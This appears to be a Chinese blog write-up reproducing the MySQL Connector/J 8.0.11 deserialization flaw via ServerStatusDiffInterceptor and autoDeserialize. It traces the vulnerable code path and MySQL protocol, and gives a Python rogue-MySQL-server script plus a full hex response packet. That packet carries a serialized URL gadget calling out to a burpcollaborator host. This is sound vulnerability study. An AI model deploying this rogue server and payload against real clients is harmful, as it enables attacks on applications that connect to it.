0x01 前言
脚蹬麻袋!又菜又爱玩的java小菜又来了,今天给大家带来的是本人复现mysql反序列化漏洞的学习过程,留作日后学习笔记,与君共勉。本篇文章可能又臭又长,可以按需食用。
0x02 漏洞分析
01 环境搭建
不管任何漏洞复现,第一步必然是搭建环境,本次也不例外,咱们先把环境搞起来。
先新建一个空的maven项目,然后pom.xml写入如下依赖。
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.11</version>
</dependency>
</dependencies>
然后再写一个java测试类
package com.test;
import java.sql.*;
import java.util.HashMap;
import java.util.Map;
/*
* queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
* */
public class MysqlTest {
public static String user;
public static String password;
public static Connection conn;
static{
try {
Class.forName("com.mysql.cj.jdbc.Driver");
System.out.println("加载数据库驱动完成");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
user = "root";
password = "root";
try {
conn = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&characterEncoding=gbk&serverTimezone=UTC&useSSL=false&autoDeserialize=true", user, password);
System.out.println("数据库连接成功");
} catch (SQLException throwables) {
throwables.printStackTrace();
}
}
public static void main(String[] args) {
String sql = "select name from user where name='haha'";
String sql3 = "select binary_data from mytable";
String sql2 = "SHOW SESSION STATUS";
Map<String, String> toPopulate = new HashMap<>();
try {
Statement stat = conn.createStatement();
ResultSet resultSet = stat.executeQuery(sql2);
resultSet.next();
Object string = resultSet.getObject(1);
System.out.println(string);
} catch (SQLException throwables) {
throwables.printStackTrace();
}
}
}
第一步环境到这里就大功告成了!
02 如何发现漏洞
我们再来说说该类型漏洞要如何挖掘,当然不是本人发现的,只是基于已知漏洞提出一种挖掘思路。
首先我们找到8.0.11版本mysql的jar包,使用jd-gui打开
然后全局搜索readObject
可以看到出现了两个符合条件的类,我们分别进去看一看
com.mysql.cj.jdbc.util.ResultSetUtil#readObject
com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)
对比看下来,很显然第二处更像是一个合格的反序列化漏洞,将data作为输入流,最后进行反序列化,data怎么来的我们现在不要纠结,后面会分析。
接下来,我们就要看看这个点是否可以为我们所用,全局搜索getObject
在com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)方法中,我们看到调用了com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)
因为ResultSetImpl实现了ResultSet接口
再继续往下追,看看哪里调用了com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)方法
随后在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues方法处被调用
按照前面的思路,继续搜索populateMapWithSessionStatusValues方法
发现在以下两个方法中调用了populateMapWithSessionStatusValues,分别是com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#postProcess和com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#preProcess
再往下追的话,就会追到com.mysql.cj.interceptors.QueryInterceptor
可以看到已经到接口了,这时候很多人可能就会卡壳了,也包括我😄。
这也是很多逆向追踪的弊端,那就是对程序本身并不了解,期望通过污染点回溯,就能rce。从现在安全角度来看,不太现实了,程序只会越做越安全,捡洞的现象不常见了。
03 卡壳,如何破局?
答案就是翻阅官方文档或查找资料,看看这个接口是做什么用的。
这里QueryInterceptor 接口供我们对 SQL 请求进行拦截处理,preProcess方法在查询sql执行前被调用,postProcess在查询sql返回结果后被调用。
其执行流程图如下
知道了其作用,就要了解如何才能触发该拦截器了。
这里的话可以在建立SQL连接的时候,加上?queryInterceptors=xxxxInterceptor
这里我也是写了一个demo帮助大家更好的理解
package com.test;
import com.mysql.cj.MysqlConnection;
import com.mysql.cj.Query;
import com.mysql.cj.interceptors.QueryInterceptor;
import com.mysql.cj.jdbc.JdbcConnection;
import com.mysql.cj.log.Log;
import com.mysql.cj.protocol.Resultset;
import com.mysql.cj.protocol.ServerSession;
import java.util.Properties;
import java.util.function.Supplier;
public class DemoInterceptor implements QueryInterceptor {
public JdbcConnection connection;
public QueryInterceptor init(MysqlConnection mysqlConnection, Properties properties, Log log) {
this.connection = (JdbcConnection)mysqlConnection;
return this;
}
public <T extends Resultset> T preProcess(Supplier<String> supplier, Query query) {
System.out.println("查询前被调用");
return null;
}
public boolean executeTopLevelOnly() {
return false;
}
public void destroy() {
}
public <T extends Resultset> T postProcess(Supplier<String> supplier, Query query, T t, ServerSession serverSession) {
System.out.println("查询后被调用");
return null;
}
}
修改jdbc连接字符串
jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&characterEncoding=gbk&serverTimezone=UTC&useSSL=false&autoDeserialize=true&queryInterceptors=com.test.DemoInterceptor
然后运行sql查询语句
可以看到拦截器成功运转起来了。
至此,从发现漏洞点,到回溯漏洞点,以及最后的触发漏洞点已经完整梳理好了。
但是否能称之为一个漏洞,还要看data是否为用户可控,如果不可控,那么就是白搭。回到com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)
从这里可以看到,data其实就是查询结果的值,也就是数据库列的值,很显然是我们可控的,到这里我们可以称之为一个反序列化漏洞。
04 构造和复现
想要构造poc并且复现该漏洞,那么就需要看看如何满足触发条件,细细看来。
反序列化的点一共有两处,第一处当case BIT满足之后,进入代码块
第二处,当case BLOB满足之后,进入代码块
这里的BIT和BLOB是mysql字段类型,取值分别如下
字段类型 |
数字编号 |
MYSQL_TYPE_BIT |
16 |
MYSQL_TYPE_BLOB |
252 |
MYSQL_TYPE_DATE |
10 |
MYSQL_TYPE_DATETIME |
12 |
MYSQL_TYPE_DECIMAL |
0 |
MYSQL_TYPE_DOUBLE |
5 |
MYSQL_TYPE_ENUM |
247 |
MYSQL_TYPE_FLOAT |
4 |
MYSQL_TYPE_GEOMETRY |
255 |
MYSQL_TYPE_INT24 |
9 |
MYSQL_TYPE_LONG |
3 |
MYSQL_TYPE_LONGLONG |
8 |
MYSQL_TYPE_LONG_BLOB |
251 |
MYSQL_TYPE_MEDIUM_BLOB |
250 |
MYSQL_TYPE_NEWDATE |
14 |
MYSQL_TYPE_NEWDECIMAL |
246 |
MYSQL_TYPE_NULL |
6 |
MYSQL_TYPE_SET |
248 |
MYSQL_TYPE_SHORT |
2 |
MYSQL_TYPE_STRING |
254 |
MYSQL_TYPE_TIME |
11 |
MYSQL_TYPE_TIMESTAMP |
7 |
MYSQL_TYPE_TINY |
1 |
MYSQL_TYPE_TINY_BLOB |
249 |
MYSQL_TYPE_VARCHAR |
15 |
MYSQL_TYPE_VAR_STRING |
253 |
不论是第一处还是第二处,都可以看到一段代码
if (!(Boolean)this.connection.getPropertySet().getBooleanReadableProperty("autoDeserialize").getValue()) {
return data;
}
这个条件如果不满足的话,那么就不会进入下面的反序列化,而是会直接返回结果值。所以我们需要让autoDeserialize的值为true,这也就解释了复现payload为什要有autoDeserialize=true这个参数了。
再往下可以看到如下判断
if (data[0] != -84 || data[1] != -19) {
return this.getString(columnIndex);
}
如果byte数组第一个字节不为-84,第二个字节不为-19,那么就会直接返回字符串内容,不反序列化。
-84,-19是什么,看两张图就一目了然了
ac ed就是反序列化经典的开场白。
到这里我们就知道了,其实data就是一个序列化后的byte数组,将其存入mysql,随后读取出来即可满足条件。
知道如何满足条件之后,就该了解一下data从哪来了,回到com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
data来自show session status查询后的结果,正常情况下其值如下
再看看rs.getObject(1)获取的结果是什么
到这里,大家能想到如何触发漏洞了吗?思考一分钟。。。
这里我说一下我的想法,那就是wireshark抓取返回结果数据包,然后替换成恶意序列化数据,最后进入getObject方法触发漏洞。
想法是美好的,但又要花费一点时间学习一下基础的mysql协议,是的,mysql协议他来了。。。
05 小插曲,mysql协议
MySQL客户端与服务器的交互主要分为两个阶段:握手认证阶段和命令执行阶段。
握手认证阶段为客户端与服务器建立连接后进行,交互过程如下:
-
服务器 -> 客户端:握手初始化消息
-
客户端 -> 服务器:登陆认证消息
-
服务器 -> 客户端:认证结果消息
客户端认证成功后,会进入命令执行阶段,交互过程如下:
-
客户端 -> 服务器:执行命令消息
-
服务器 -> 客户端:命令执行结果
示意图如下
这么说可能会有点枯燥难懂,我们实战抓包来看一下
握手阶段,服务器会发送一个握手初始化消息
收到握手初始化信息后,客户端会发起一个登录认证请求
账号密码正确的话,服务端就会返回认证成功
认证成功之后,客户端就要开始发送查询请求了
查询成功后,服务端返回查询结果
至此,完整的交互过程结束。
我们重点要关注的就是返回结果数据包,不过在此之前我们得先伪造一个mysql服务端,和客户端建立连接,只要模拟上面的认证流程即可,脚本如下
import socket
import time
import struct
test_packet = b'x4ax00x00x00x0ax35x2ex37x2ex32x36x00x08x00x00x00x21x7ex5ax16x0cx5dx20x65x00xffxf7xc0x02x00xffx81x15x00x00x00x00x00x00x00x00x00x00x7ax72x06x25x3ax38x4dx4fx3bx37x3dx29x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00'
success = b'x07x00x00x02x00x00x00x02x00x00x00'
response_ok = b'x07x00x00x01x00x00x00x02x00x00x00'
socket_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_server.bind(('0.0.0.0', 3306))
socket_server.listen()
conn,addr = socket_server.accept()
conn.send(test_packet)
AUTH_PACK = conn.recv(1024)
conn.send(success)
request = conn.recv(1024)
print(request)
while True:
conn.send(response_ok)
print("again")
res1 = conn.recv(1024)
if "SHOW SESSION STATUS" in res1.decode():
print("res1 : " + res1.decode())
#conn.send(res_session2)
elif "select user from" in res1.decode():
print("res1 : " + res1.decode())
#conn.send(eval_res2)
elif "select binary_data from" in res1.decode():
print("res1: " + res1.decode())
#conn.send(eval_res2)
conn.close()
脚本有点简陋,凑合着看看。
这里主要是模拟了认证流程,将握手初始化消息包和认证成功数据包copy了下来,然后模拟发送数据包即可
copy方式也很简单,wireshark选中对应的数据包,选择以下选项即可
随后,你就会得到如下一串字符
处理一下就可以直接拿来用了。
简易的mysql服务端有了,交互也有了,下面就是本篇文章的重点了,如何构造恶意数据包。
这里我建议初学者,不熟悉mysql协议的话,还是先正向,再逆向。什么意思呢?就是先正常触发一次漏洞,将其数据包抓起来,然后进行分析和改造。不然的话会踩很多坑,相信我!
当然如果想硬刚的,可以跳过下面的内容,直接去分析构造数据包了。
如何正常触发漏洞呢,其实也很简单,我们新建一个表如下
CREATE TABLE mytable (
id INT PRIMARY KEY,
binary_data BLOB
);
随后将我们生成的恶意序列化数据写入binary_data字段
import mysql.connector
cnx = mysql.connector.connect(user='root', password='root',
host='127.0.0.1',
database='test')
# 读取二进制文件内容
with open("/eval.ser", "rb") as f:
blob_data = f.read()
print(blob_data)
# 插入 BLOB 数据
query = "INSERT INTO mytable (binary_data) VALUES (%s)"
cursor = cnx.cursor()
cursor.execute(query, (blob_data,))
cnx.commit()
# 关闭数据库连接
cursor.close()
cnx.close()
写入之后就可以编写查询语句,手动触发了
String sql = "select binary_data from mytable";
Statement stat = conn.createStatement();
ResultSet resultSet = stat.executeQuery(sql);
resultSet.next();
Object string = resultSet.getObject(1);
System.out.println(string);
效果如下
查看抓包结果
可以看到response被分为了四个协议包,第二个中包含字段类型,也就是为了满足前面case BLOB的条件
第三个包中是序列化的内容
最后第四个包是结尾,表示本次请求结束
如果要构造自定义数据包还需要了解一个知识点,那就是小端存储
小端存储(Little-endian)是一种计算机数据存储方式,其中低位字节(即数值中的最后一个字节)存储在内存地址的最前面,而高位字节(即数值中的第一个字节)存储在内存地址的最后面。
例如,以十六进制表示的整数 0x12345678 在小端存储中被存储为 0x78 0x56 0x34 0x12。
了解完小端存储后,我们来说一下需要做哪些事情。
首先第一、二、四的mysql协议包我们需要原封不动的copy出来
我们唯一要修改的就是第三个包
前四个字节为一个整体,后三个字节为一个整体,且听我细细道来。
首先我们前面看到第三个包的长度为356,我们将其转换成十六进制是多少呢
可以看到是0x164,回到我们前面说的小端存储,那么就应该变成0x64 0x01,这个时候是不是突然就茅塞顿开了。
这里356表示的是除去前四个字节以外剩下的总长度。
再来说说后三个字节表示什么意思,xfc其实和后面两个16进制字符有着强关联,当为xfc时,才会对后面两个字符进行还原,其实也是小端存储,161
表示除去xfcx61x01三个字符后,序列化数据的总长度,有点像套娃,x64x01x00x03字符记录的是加上三个字符后的总长度。
长度如果搞不清楚,那么构造数据包就很容易出错导致无法触发。
说完了以上知识点之后,最终payload构造如下
x01x00x00x01x01x3ex00x00x02x03x64x65x66x04x74x65x73x74x07x6dx79x74x61x62x6cx65x07x6dx79x74x61x62x6cx65x0bx62x69x6ex61x72x79x5fx64x61x74x61x0bx62x69x6ex61x72x79x5fx64x61x74x61x0cx3fx00xffxffx00x00xfcx91x10x00x00x00x64x01x00x03xfcx61x01xacxedx00x05x73x72x00x11x6ax61x76x61x2ex75x74x69x6cx2ex48x61x73x68x4dx61x70x05x07xdaxc1xc3x16x60xd1x03x00x02x46x00x0ax6cx6fx61x64x46x61x63x74x6fx72x49x00x09x74x68x72x65x73x68x6fx6cx64x78x70x3fx40x00x00x00x00x00x0cx77x08x00x00x00x10x00x00x00x01x73x72x00x0cx6ax61x76x61x2ex6ex65x74x2ex55x52x4cx96x25x37x36x1axfcxe4x72x03x00x07x49x00x08x68x61x73x68x43x6fx64x65x49x00x04x70x6fx72x74x4cx00x09x61x75x74x68x6fx72x69x74x79x74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx4cx00x04x66x69x6cx65x71x00x7ex00x03x4cx00x04x68x6fx73x74x71x00x7ex00x03x4cx00x08x70x72x6fx74x6fx63x6fx6cx71x00x7ex00x03x4cx00x03x72x65x66x71x00x7ex00x03x78x70xffxffxffxffxffxffxffxffx74x00x33x7ax77x7ax30x6ax38x37x72x34x7ax79x63x62x77x75x35x68x70x79x6ex76x62x30x64x79x34x34x75x73x6ax2ex62x75x72x70x63x6fx6cx6cx61x62x6fx72x61x74x6fx72x2ex6ex65x74x74x00x00x71x00x7ex00x05x74x00x04x68x74x74x70x70x78x74x00x3ax68x74x74x70x3ax2fx2fx7ax77x7ax30x6ax38x37x72x34x7ax79x63x62x77x75x35x68x70x79x6ex76x62x30x64x79x34x34x75x73x6ax2ex62x75x72x70x63x6fx6cx6cx61x62x6fx72x61x74x6fx72x2ex6ex65x74x78x07x00x00x04xfex00x00x02x00x00x00
随后使用伪造mysql服务端发送该数据包即可触发
起一个python服务
客户端发起请求
好啦!如果你看到这里,那么恭喜你,已经掌握了漏洞复现以及基础的mysql协议了,为自己鼓鼓掌吧!
0x03 总结
本漏洞虽然基础,但是想要搞懂其中所有环节,还是需要花费一些时间,希望大家看完能有所收获,下次再见。
0x04 参考文章
MySQL协议分析
https://www.cnblogs.com/davygeek/p/5647175.html
实现自己的数据库驱动
https://callmejiagu.github.io/categories/%E5%AE%9E%E7%8E%B0%E8%87%AA%E5%B7%B1%E7%9A%84%E6%95%B0%E6%8D%AE%E5%BA%93%E9%A9%B1%E5%8A%A8/
原文始发于微信公众号(伟盾网络安全):MySQL反序列化学习
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论